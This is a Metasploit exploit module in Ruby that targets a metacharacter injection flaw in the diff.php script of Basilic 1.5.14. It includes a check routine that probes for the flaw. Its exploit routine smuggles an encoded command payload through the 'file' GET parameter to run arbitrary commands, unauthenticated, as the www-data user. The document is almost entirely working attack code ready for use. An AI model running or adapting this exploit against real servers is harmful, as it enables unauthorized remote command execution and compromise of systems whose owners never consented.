Basilic 1.5.14 diff.php Arbitrary Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',  
'Description' => %q{  
This module abuses a metacharacter injection vulnerability in the  
diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary  
commands as the www-data user account.  
},  
'Author' =>  
[  
'lcashdollar',  
'sinn3r',  
'juan'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '54234' ]  
],  
'Platform' => ['linux', 'unix'],  
'Arch' => ARCH_CMD,  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet'  
}  
},  
'Targets' =>  
[  
[ 'Automatic Target', { }]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 28 2012'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])  
], self.class)  
end  
  
  
def check  
base = target_uri.path  
base << '/' if base[-1, 1] != '/'  
  
sig = rand_text_alpha(10)  
  
res = send_request_cgi({  
'uri' => "/#{base}/Config/diff.php",  
'vars_get' => {  
'file' => sig,  
'new' => '1',  
'old' => '2'  
}  
})  
  
if res and res.body =~ /#{sig}/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
  
def exploit  
print_status("Sending GET request...")  
  
base = target_uri.path  
base << '/' if base[-1, 1] != '/'  
  
res = send_request_cgi({  
'uri' => "/#{base}/Config/diff.php",  
'vars_get' => {  
'file' => "&#{payload.encoded} #",  
'new' => '1',  
'old' => '2'  
}  
})  
  
if res and res.code == 404 then  
print_error("404 Basilic not installed or possibly check URI Path.")  
else  
vprint_line(res.body) if res  
end  
  
handler  
end  
end  
`